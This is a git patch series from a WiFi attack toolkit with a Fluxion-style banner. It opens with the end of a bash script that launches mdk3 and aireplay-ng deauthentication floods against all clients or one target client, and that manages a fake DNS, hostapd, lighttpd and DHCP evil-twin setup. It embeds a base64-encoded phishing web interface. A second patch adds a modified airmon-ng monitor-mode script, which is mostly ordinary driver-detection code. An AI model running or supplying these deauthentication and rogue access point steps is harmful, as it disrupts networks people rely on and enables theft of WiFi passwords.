>$DUMP_PATH/mdk3.txt + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & + mdk3PID=$! + sleep 15 + kill $mdk3PID &>$flux_output_device +} + +# Deauth to a specific target +function deauthesp { + + sleep 2 + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & +} + +# Close all processes +function matartodo { + + killall aireplay-ng &>$flux_output_device + kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device + killall hostapd &>$flux_output_device + killall lighttpd &>$flux_output_device + killall dhcpd &>$flux_output_device + killall xterm &>$flux_output_device + +} + + + +############################################## < STUFF > ############################################ + + + + + + +######################################### < INTERFACE WEB > ######################################## + +# Create the contents for the web interface +function NEUTRA { + + if [ ! -d $DUMP_PATH/data ]; then + mkdir $DUMP_PATH/data + fi + +echo "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 From 1c990d14f125dd7bb954be2d65c97bc5c7167ea8 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 02:44:40 +0400 Subject: [PATCH 018/294] Create airmon --- airmon | 1354 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1354 insertions(+) create mode 100644 airmon diff --git a/airmon b/airmon new file mode 100644 index 0000000..b9bff46 --- /dev/null +++ b/airmon @@ -0,0 +1,1354 @@ +#!/bin/sh +clear +#Colors +white="\033[1;37m" +grey="\033[0;37m" +red2="\033[0;35m" +red="\033[1;31m" +green="\033[1;32m" +yellow="\033[1;33m" +blue="\033[1;34m" +transparent="\e[0m" + +#Animation + echo "" + sleep 0.1 && echo $red " LUXFLUXFLUX UXF UXF UX UX" + sleep 0.1 && echo $red " LUXFLUXFLUX UXF UXF UX UX" + sleep 0.1 && echo $red " LU UX XF UXF FL FL " + sleep 0.1 && echo $red " LUXFLU UX XF UXF LUXF" + sleep 0.1 && echo $red " LUXFL UX XF UXF LUX" + sleep 0.1 && echo $red " LU UX XF UXF FLUXF " + sleep 0.1 && echo $red " LU UX XFL UXF XFL FL " + sleep 0.1 && echo $red " LU UXFLUXFL FLUXFLUX XF LUXF" + echo "" + + + +############################################################################# +USERID="" +IFACE="" +KISMET=/etc/kismet/kismet.conf +CH=$3; [ x$3 = "x" ] && CH=10 +IFACE_FOUND="false" +MADWIFI=0 +MAC80211=0 +USE_IW=0 +IW_SOURCE="https://www.kernel.org/pub/software/network/iw/iw-3.17.tar.xz" +IW_ERROR="" +UDEV_ISSUE=0 + +if [ -f "`which iw 2>&1`" ] +then + USE_IW=1 +fi + +if [ "x$MON_PREFIX" = "x" ] +then +MON_PREFIX="mon" +fi + +PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox" +PS_ERROR="invalid" + +usage() { + printf "usage: `basename $0` [channel or frequency]\n" + echo + exit +} + +startStdIface() { + iwconfig $1 mode monitor >/dev/null 2>&1 + if [ ! -z $2 ] + then + if [ $2 -lt 1000 ] + then + iwconfig $1 channel $2 >/dev/null 2>&1 + else + iwconfig $1 freq "$2"000000 > /dev/null 2>&1 + fi + fi + iwconfig $1 key off >/dev/null 2>&1 + ifconfig $1 up + printf " (monitor mode enabled)" +} + + +stopStdIface() { + ifconfig $1 down >/dev/null 2>&1 + iwconfig $1 mode Managed >/dev/null 2>&1 + ifconfig $1 down >/dev/null 2>&1 + printf " (monitor mode disabled)" +} + +getModule() { + if [ -f "/sys/class/net/$1/device/driver/module/srcversion" ] + then + srcver1=`cat "/sys/class/net/$1/device/driver/module/srcversion"` + for j in `lsmod | awk '{print $1}' | grep -v "^Module$"` + do + srcver2="`modinfo $j 2>/dev/null | grep srcversion | awk '{print $2}'`" + if [ $srcver1 = "$srcver2" ] + then + MODULE=$j + break + fi + done + else + MODULE="" + fi +# return 0 +} + +getDriver() { + if [ -e "/sys/class/net/$1/device/driver" ] + then + DRIVER="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`" + BUS="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)\/.*\/.*$/\1/'`" + else + DRIVER="" + BUS="" + fi + if [ x$(echo $DRIVER | grep ath5k) != "x" ] + then + DRIVER="ath5k" + fi + if [ x$(echo $DRIVER | grep ath9k) != "x" ] + then + DRIVER="ath9k" + fi + if [ x$DRIVER = "x" ] + then + if [ -d /sys/class/net/tiwlan0/wireless ] + then + DRIVER=WiLink + fi + fi + +} + +scanProcesses() { + if [ -f "`which service 2>&1`" ] && [ x"$1" = "xkill" ] + then + service network-manager stop 2>/dev/null >/dev/null + service avahi-daemon stop 2>/dev/null >/dev/null + fi + + match=`ps -A -o comm= | grep $PROCESSES | grep -v grep | wc -l` + if [ $match -gt 0 -a x"$1" != "xkill" ] + then + printf "\n\n" + echo "Found $match processes that could cause trouble." + echo "If airodump-ng, aireplay-ng or airtun-ng stops working after" + echo "a short period of time, you may want to kill (some of) them!" + echo -e "\nPID\tName" + else + if [ x"$1" != "xkill" ] + then + return + fi + fi + + if [ $match -gt 0 -a x"$1" = "xkill" ] + then + echo "Killing all those processes..." + fi + + i=1 + while [ $i -le $match ] + do + pid=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $1}'` + pname=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $2}'` + if [ x"$1" != "xkill" ] + then + printf "$pid\t$pname\n" + else + kill $pid + fi + i=$(($i+1)) + done +} + +checkProcessesIface() { + if [ x"$1" = "x" ] + then + return + fi + + match2=`ps -o comm= -p 1 2>&1 | grep $PS_ERROR | grep -v grep | wc -l` + if [ $match2 -gt 0 ] + then + return + fi + + for i in `ps auxw | grep $1 | grep -v "grep" | grep -v "airmon-ng" | awk '{print $2}'` + do + pname=`ps -o comm= -p $i` + echo "Process with PID $i ($pname) is running on interface $1" + done +} + +getStack() { + if [ x"$1" = "x" ] + then + return + fi + + if [ -d /sys/class/net/$1/phy80211/ ] + then + MAC80211=1 + else + MAC80211=0 + fi +} + +#you need to run getDriver $iface prior to getChipset +getChipset() { + if [ x"$1" = "x" ] + then + return + fi + + CHIPSET="Unknown " + + if [ x$DRIVER = "xOtus" -o x$DRIVER = "xarusb_lnx" ] + then + CHIPSET="AR9001U" + fi + + if [ x$DRIVER = "xWiLink" ] + then + CHIPSET=`dmesg | grep TIWLAN | grep CHIP | tail -n 1 | awk -F\ '{ print $6 }'` + if [ x$CHIPSET = "x" ] + then + CHIPSET="Unknown" + else + CHIPSET="TI${CHIPSET}" + fi + fi + + if [ x$DRIVER = "xar9170usb" ] + then + getPhy $2 + CHIPSET="Atheros `dmesg | grep $PHYDEV | grep "is registered as" | cut -d':' -f 2 | cut -d' ' -f 3`" + fi + + if [ x$DRIVER = "xzd1211rw_mac80211" ] + then + CHIPSET="ZyDAS 1211" + fi + + if [ x$DRIVER = "xzd1211rw" ] + then + getPhy $2 + TEMP_USBPORT="`dmesg | grep $PHYDEV | grep zd1211rw | cut -d'w' -f 2 | cut -d' ' -f 2`" + TEMP_CHIPSET="`dmesg | grep "$TEMP_USBPORT" | grep chip | tail -n 1 | cut -d':' -f 3 | cut -d' ' -f 2`" + CHIPSET="Zydas $TEMP_CHIPSET" + fi + + if [ x$DRIVER = "xacx" -o x$DRIVER = "xacx-mac80211" -o x$DRIVER = "xacx1xx" ] + then + CHIPSET="TI ACX1xx" + fi + + if [ x$DRIVER = "adm8211" ] + then + CHIPSET="ADMtek 8211" + fi + + if [ x$DRIVER = "xat76_usb" ] + then + CHIPSET="Atmel " + fi + + if [ x$DRIVER = "xb43" -o x$DRIVER = "xb43legacy" -o x$DRIVER = "xbcm43xx" -o x$DRIVER = "xwl" ] + then + CHIPSET="Broadcom" + if [ x$DRIVER = "xb43" ] + then + getPhy $2 + TEMP_CHIPSET="`dmesg | grep $PHYDEV | grep found | cut -d':' -f 2 | cut -d' ' -f 3`" + if [ x$TEMP_CHIPSET = "x4318" ] + then + CHIPSET="$CHIPSET $TEMP_CHIPSET" + fi + fi + fi + + if [ x$DRIVER = "xprism54" -o x$DRIVER = "xp54pci" -o x$DRIVER = "xp54usb" ] + then + CHIPSET="PrismGT " + fi + + if [ x$DRIVER = "xhostap" ] + then + CHIPSET="Prism 2/2.5/3" + fi + + if [ x$DRIVER = "xr8180" -o x$DRIVER = "xrtl8180" ] + then + CHIPSET="RTL8180/RTL8185" + fi + + # r8187 is reporting itself as rtl8187 + if [ x$DRIVER = "xrtl8187" ] + then + getPhy $2 + if [ x"$PHYDEV" = "x" ] + then + CHIPSET="RTL8187 " + else + CHIPSET="`dmesg | grep $PHYDEV | grep hwaddr | cut -d',' -f 2 | cut -d' ' -f 2`" + if [ x$CHIPSET = "xRTL8187vB" ] + then + CHIPSET="Realtek RTL8187L" + else + CHIPSET="Realtek $CHIPSET" + fi + fi + fi + + if [ x$DRIVER = "xr8187" ] + then + CHIPSET="RTL8187 " + fi + + if [ x$DRIVER = "xrt2570" -o x$DRIVER = "xrt2500usb" ] + then + CHIPSET="Ralink 2570 USB" + fi + + if [ x$DRIVER = "xrt2400" -o x$DRIVER = "xrt2400pci" ] + then + CHIPSET="Ralink 2400 PCI" + fi + + if [ x$DRIVER = "xrt2500" -o x$DRIVER = "xrt2500pci" ] + then + CHIPSET="Ralink 2560 PCI" + fi + + if [ x$DRIVER = "xrt61" -o x$DRIVER = "xrt61pci" ] + then + CHIPSET="Ralink 2561 PCI" + fi + + if [ x$DRIVER = "xrt73" -o x$DRIVER = "xrt73usb" ] + then + CHIPSET="Ralink 2573 USB" + fi + + #if [ x$DRIVER = "xrt2800usb" ] + #then + # getPhy $2 + # CHIPSET="Ralink `dmesg | grep rt2800usb | grep firmware | cut -d':' -f 4 | cut -d' ' -f 3 | cut -d'.' -f 1`" + #fi + + if [ x$DRIVER = "xrt2800" -o x$DRIVER = "xrt2800usb" -o x$DRIVER = "xrt3070sta" ] + then + CHIPSET="Ralink RT2870/3070" + fi + + if [ x$DRIVER = "xipw2100" ] + then + CHIPSET="Intel 2100B" + fi + + if [ x$DRIVER = "xipw2200" ] + then + CHIPSET="Intel 2200BG/2915ABG" + fi + + if [ x$DRIVER = "xipw3945" -o x$DRIVER = "xipwraw" -o x$DRIVER = "xiwl3945" ] + then + CHIPSET="Intel 3945ABG" + fi + + if [ x$DRIVER = "xipw4965" -o x$DRIVER = "xiwl4965" ] + then + CHIPSET="Intel 4965AGN" + fi + + if [ x$DRIVER = "xiwlagn" -o x$DRIVER = "xiwlwifi" ] + then + CHIPSET="Intel 4965/5xxx/6xxx/1xxx" + + DETECTED_STR="`dmesg | grep $DRIVER | grep Detected | tail -n 1 `" + LINK_POS="3" + FOUND="0" + + if [ x"$DETECTED_STR" != "x" ] + then + INTEL_WORD="Link" + if [ "`echo "$DETECTED_STR" | grep $INTEL_WORD | wc -l`" = "0" ] + then + INTEL_WORD="Wireless" + if [ "`echo "$DETECTED_STR" | grep $INTEL_WORD | wc -l`" = "0" ] + then + INTEL_WORD="Ultimate" + if [ "`echo "$DETECTED_STR" | grep $INTEL_WORD | wc -l`" = "0" ] + then + INTEL_WORD="Advanced" + fi + fi + fi + + while [ $FOUND = "0" ] + do + FOUND=`echo "$DETECTED_STR" | cut -d' ' -f $LINK_POS | grep $INTEL_WORD | wc -l` + LINK_POS=$(($LINK_POS+1)) + done + + TEMP_CHIPSET=`echo "$DETECTED_STR" | cut -d' ' -f $LINK_POS` + + case "x${TEMP_CHIPSET}" in + # x5100AGN) + # CHIPSET="Intel $TEMP_CHIPSET" + # ;; + x5300) + TYPE_TEMP=`echo "$DETECTED_STR" | cut -d' ' -f $(($LINK_POS+1)) | awk -F, '{ print $1 }' ` + CHIPSET="Intel ${TEMP_CHIPSET}${TYPE_TEMP}" + ;; + x1000) + TYPE_TEMP=`echo "$DETECTED_STR" | cut -d' ' -f $[$LINK_POS+2]` + CHIPSET="Intel ${TEMP_CHIPSET}${TYPE_TEMP}" + ;; + *) + CHIPSET="Intel $TEMP_CHIPSET" + ;; + esac + fi + + fi + + if [ x$DRIVER = "xath5k" ] + then + getPhy $2 + CHIPSET="Atheros `dmesg | grep $PHYDEV | grep "chip found" | cut -d':' -f 2 | cut -d' ' -f 3`" + fi + + if [ x$DRIVER = "xath_pci" ] + then + CHIPSET="Atheros " + fi + + if [ x$DRIVER = "xath9k" ] + then + getPhy $2 + CHIPSET="Atheros `dmesg | grep $PHYDEV | grep Atheros | tail -n 1 | cut -d':' -f 2 | cut -d' ' -f 3`" + fi + + if [ x$DRIVER = "xorinoco" ] + then + CHIPSET="Hermes/Prism" + fi + + if [ x$DRIVER = "xath9k_htc" -o x$DRIVER = "xusb" ] + then + CHIPSET="AR9001/9002/9271" + fi + + if [ x$DRIVER = "xwl12xx" ] + then + CHIPSET="TI WL1251/WL1271" + IS_WL1251="`dmesg| grep firmware | grep wl1251 | wc -l`" + IS_WL1271="`dmesg| grep firmware | grep wl1271 | wc -l`" + + if [ $IS_WL1251 != "0" ] && [ $IS_WL1271 = "0" ] + then + CHIPSET="TI WL1251" + fi + if [ $IS_WL1271 != "0" ] && [ $IS_WL1251 = "0" ] + then + CHIPSET="TI WL1271" + fi + # In any other case, we can't determine the chipset and thus give the generic: 1251/1271 + fi + + + if [ x$DRIVER = "xr871x_usb_drv" ] + then + CHIPSET="Realtek 81XX" + fi + + if [ x$DRIVER = "xcarl9170" ] + then + getPhy $2 + CHIPSET=`dmesg | grep usb | grep $PHYDEV | awk -F\ '{ print $3 " " $4 }'` + if [ `echo $CHIPSET | grep -i atheros | wc -l` -eq 0 ] + then + CHIPSET=`dmesg | grep usb | grep $PHYDEV | awk -F\ '{ print $5 " " $6 }'` + fi + fi +} + +getPhy() { + PHYDEV="" + if [ x"$1" = "x" ] + then + return + fi + + if [ x$MAC80211 = "x" ] + then + return + fi + + if [ -d /sys/class/net/$1/phy80211/ ] + then + PHYDEV="`ls -l "/sys/class/net/$1/phy80211" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`" + fi +} + +getNewMon() { + i=0 + + while [ -d /sys/class/net/$MON_PREFIX$i/ ] + do + i=$(($i+1)) + done + + MONDEV="$MON_PREFIX$i" +} + +if [ x"`which id 2> /dev/null`" != "x" ] +then + USERID="`id -u 2> /dev/null`" +fi + +if [ x$USERID = "x" -a x$UID != "x" ] +then + USERID=$UID +fi + +if [ x$USERID != "x" -a x$USERID != "x0" ] +then + echo Run it as root ; exit ; +fi + +iwpriv > /dev/null 2> /dev/null || + { echo Wireless tools not found ; exit ; } + +if [ x"$1" = "xcheck" ] || [ x"$1" = "xstart" ] +then + scanProcesses + for iface in `iwconfig 2>/dev/null | egrep '(IEEE|ESSID|802\.11|WLAN)' | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/' | grep -v wifi` + do +# getModule $iface +# getDriver $iface + checkProcessesIface $iface + done + + if [ x"$2" = "xkill" ] + then + scanProcesses "$2" + fi + if [ x"$1" = "xcheck" ] + then + exit + fi +fi + +printf "\n\n" + +if [ $# -ne "0" ] +then + if [ x$1 != "xstart" ] && [ x$1 != "xstop" ] + then + usage + fi + + if [ x$2 = "x" ] + then + usage + fi +fi + +SYSFS=0 +if [ -d /sys/ ] +then + SYSFS=1 +fi + +printf "Interface\tChipset\t\tDriver\n\n" + + +for iface in `ifconfig -a 2>/dev/null | egrep UNSPEC | sed 's/^\([a-zA-Z0-9_]*\) .*/\1/'` +do + + if [ x"`iwpriv $iface 2>/dev/null | grep ipwraw-ng`" != "x" ] + then + printf "$iface\t\tIntel 3945ABG\tipwraw-ng" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=ipw3945,$iface,Centrino_abg" >>$KISMET + startStdIface $iface $CH + iwconfig $iface rate 1M 2> /dev/null >/dev/null + iwconfig $iface txpower 16 2> /dev/null >/dev/null + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + iwconfig $iface txpower 15 2> /dev/null >/dev/null + iwconfig $iface rate 54M 2> /dev/null >/dev/null + fi + echo + continue + fi + + if [ -e "/proc/sys/dev/$iface/fftxqmin" ] + then + MADWIFI=1 + ifconfig $iface up + printf "$iface\t\tAtheros\t\tmadwifi-ng" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + IFACE=`wlanconfig ath create wlandev $iface wlanmode monitor -bssid | grep ath` + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=madwifi_g,$iface,Atheros" >>$KISMET + ifconfig $iface up 2>/dev/null >/dev/null + if [ $CH -lt 1000 ] + then + iwconfig $IFACE channel $CH 2>/dev/null >/dev/null + else + iwconfig $IFACE freq "$CH"000000 2>/dev/null >/dev/null + fi + ifconfig $IFACE up 2>/dev/null >/dev/null + UDEV_ISSUE=$? + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + echo "$iface does not support 'stop', do it on ath interface" + fi + echo + continue + fi +done + +if [ $MADWIFI -eq 1 ] +then + sleep 1s +fi + +for iface in `iwconfig 2>/dev/null | egrep '(IEEE|ESSID|802\.11|WLAN)' | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/' | grep -v wifi` +do + getModule $iface + getDriver $iface + getStack $iface + getChipset $DRIVER $iface + + + if [ x$MAC80211 = "x1" ] + then + getPhy $iface + getNewMon + printf "$iface\t\t$CHIPSET\t$DRIVER - [$PHYDEV]" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + if [ $USE_IW = 1 ] + then + IW_ERROR=`iw dev $iface interface add $MONDEV type monitor 2>&1 | grep "nl80211 not found"` + if [ x$IW_ERROR = "x" ] + then + sleep 1s + if [ ! -z $3 ] + then + if [ $3 -lt 1000 ] + then + iwconfig $MONDEV channel $3 >/dev/null 2>&1 + else + iwconfig $MONDEV freq "$3"000000 >/dev/null 2>&1 + fi + fi + ifconfig $MONDEV up + printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" + else + if [ -f /sys/class/ieee80211/"$PHYDEV"/add_iface ] + then + echo -n "$MONDEV" > /sys/class/ieee80211/"$PHYDEV"/add_iface + sleep 1s + if [ $3 -lt 1000 ] + then + iwconfig $MONDEV mode Monitor channel $3 >/dev/null 2>&1 + else + iwconfig $MONDEV mode Monitor freq "$3"000000 >/dev/null 2>&1 + fi + ifconfig $MONDEV up + printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" + else + printf "\n\nERROR: nl80211 support is disabled in your kernel.\nPlease recompile your kernel with nl80211 support enabled.\n" + fi + fi + else + if [ -f /sys/class/ieee80211/"$PHYDEV"/add_iface ] + then + echo -n "$MONDEV" > /sys/class/ieee80211/"$PHYDEV"/add_iface + sleep 1s + if [ $3 -lt 1000 ] + then + iwconfig $MONDEV mode Monitor channel $3 >/dev/null 2>&1 + else + iwconfig $MONDEV mode Monitor freq "$3"000000 >/dev/null 2>&1 + fi + ifconfig $MONDEV up + printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" + else + printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n" + fi + fi + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + z="`echo $iface | cut -b -${#MON_PREFIX}`" + if [ x$z = "x$MON_PREFIX" ] + then + if [ $USE_IW = 1 ] + then + IW_ERROR=`iw dev "$iface" interface del 2>&1 | grep "nl80211 not found"` + if [ x$IW_ERROR = "x" ] + then + printf " (removed)" + else + if [ -f /sys/class/ieee80211/"$PHYDEV"/remove_iface ] + then + echo -n "$iface" > /sys/class/ieee80211/"$PHYDEV"/remove_iface + printf " (removed)" + else + printf "\n\nERROR: nl80211 support is disabled in your kernel.\nPlease recompile your kernel with nl80211 support enabled.\n" + fi + fi + else + if [ -f /sys/class/ieee80211/"$PHYDEV"/remove_iface ] + then + echo -n "$iface" > /sys/class/ieee80211/"$PHYDEV"/remove_iface + printf " (removed)" + else + printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n" + fi + fi + else + ifconfig $iface down + iwconfig $iface mode managed + printf "\n\t\t\t\t(monitor mode disabled)" + fi + fi + echo + continue + fi + + + if [ x$DRIVER = "xorinoco" ] || [ x"`iwpriv $iface 2>/dev/null | grep get_rid`" != "x" ] || [ x"`iwpriv $iface 2>/dev/null | grep dump_recs`" != "x" ] + then + printf "$iface\t\tHermesI\t\torinoco" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=orinoco,$iface,HermesI" >>$KISMET + if [ $CH -lt 1000 ] + then + iwconfig $iface mode Monitor channel $CH >/dev/null 2>&1 + else + iwconfig $iface mode Monitor freq "$CH"000000 >/dev/null 2>&1 + fi + iwpriv $iface monitor 1 $CH >/dev/null 2>&1 + ifconfig $iface up + printf " (monitor mode enabled)" + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + ifconfig $iface down + iwpriv $iface monitor 0 >/dev/null 2>&1 + iwconfig $iface mode Managed >/dev/null 2>&1 + printf " (monitor mode disabled)" + fi + echo + continue + fi + + if [ x$DRIVER = "xrtl819xU" ] + then + printf "$iface\t\tRealtek 819x\trtl819xU" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + if [ x$DRIVER = "xipw2100" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_crc_check`" != "x" ] + then + printf "$iface\t\tIntel 2100B\tipw2100" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=ipw2100,$iface,Centrino_b" >>$KISMET + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER = "xarusb_lnx" ] || [ x$DRIVER = "Otus" ] + then + printf "$iface\t\tAR9001USB\tOtus" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + echo "Monitor mode not yet supported" + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + if [ x$DRIVER = "xWiLink" ] + then + getChipset $iface + printf "$iface\t\t${CHIPSET}\t\t${DRIVER}" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + printf "\n\t\t\t\tMonitor mode not yet supported" + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + if [ x$DRIVER = "xipw2200" ] || [ x"`iwpriv $iface 2>/dev/null | grep sw_reset`" != "x" ] + then + MODINFO=`modinfo ipw2200 2>/dev/null | awk '/^version/ {print $2}'` + if { echo "$MODINFO" | grep -E '^1\.0\.(0|1|2|3)$' ; } + then + echo "Monitor mode not supported, please upgrade" + else + printf "$iface\t\tIntel 2200BG\tipw2200" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=ipw2200,$iface,Centrino_g" >>$KISMET + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + + if { echo "$MODINFO" | grep -E '^1\.0\.(5|7|8|11)$' ; } + then + printf " (Warning: bad module version, you should upgrade)" + fi + fi + echo + continue + fi + + + if [ x$DRIVER = "xcx3110x" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_backscan`" != "x" ] + then + printf "$iface\t\tNokia 770\t\tcx3110x" + if [ x$1 = "xstart" ] || [ x$1 = "xstop" ] + then + printf " (Enable/disable monitor mode not yet supported)" + fi + echo + continue + fi + + + if [ x$DRIVER = "xipw3945" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_preamble | grep -v set_crc_check`" != "x" ] + then + printf "$iface\t\tIntel 3945ABG\tipw3945" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=ipw3945,$iface,Centrino_g" >>$KISMET + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x"`iwpriv $iface 2>/dev/null | grep inact_auth`" != "x" ] + then + if [ -e "/proc/sys/net/$iface/%parent" ] + then + printf "$iface\t\tAtheros\t\tmadwifi-ng VAP (parent: `cat /proc/sys/net/$iface/%parent`)" + if [ x$2 = x$iface ] && [ x$1 = "xstop" ] + then + wlanconfig $iface destroy + printf " (VAP destroyed)" + fi + if [ x$1 = "xstart" ] + then + if [ $iface = "$IFACE" ] + then + printf " (monitor mode enabled)" + fi + if [ x$2 = x$iface ] + then + printf " (VAP cannot be put in monitor mode)" + fi + fi + + echo "" + continue + + fi + printf "$iface\t\tAtheros\t\tmadwifi" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=madwifi_g,$iface,Atheros" >>$KISMET + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo 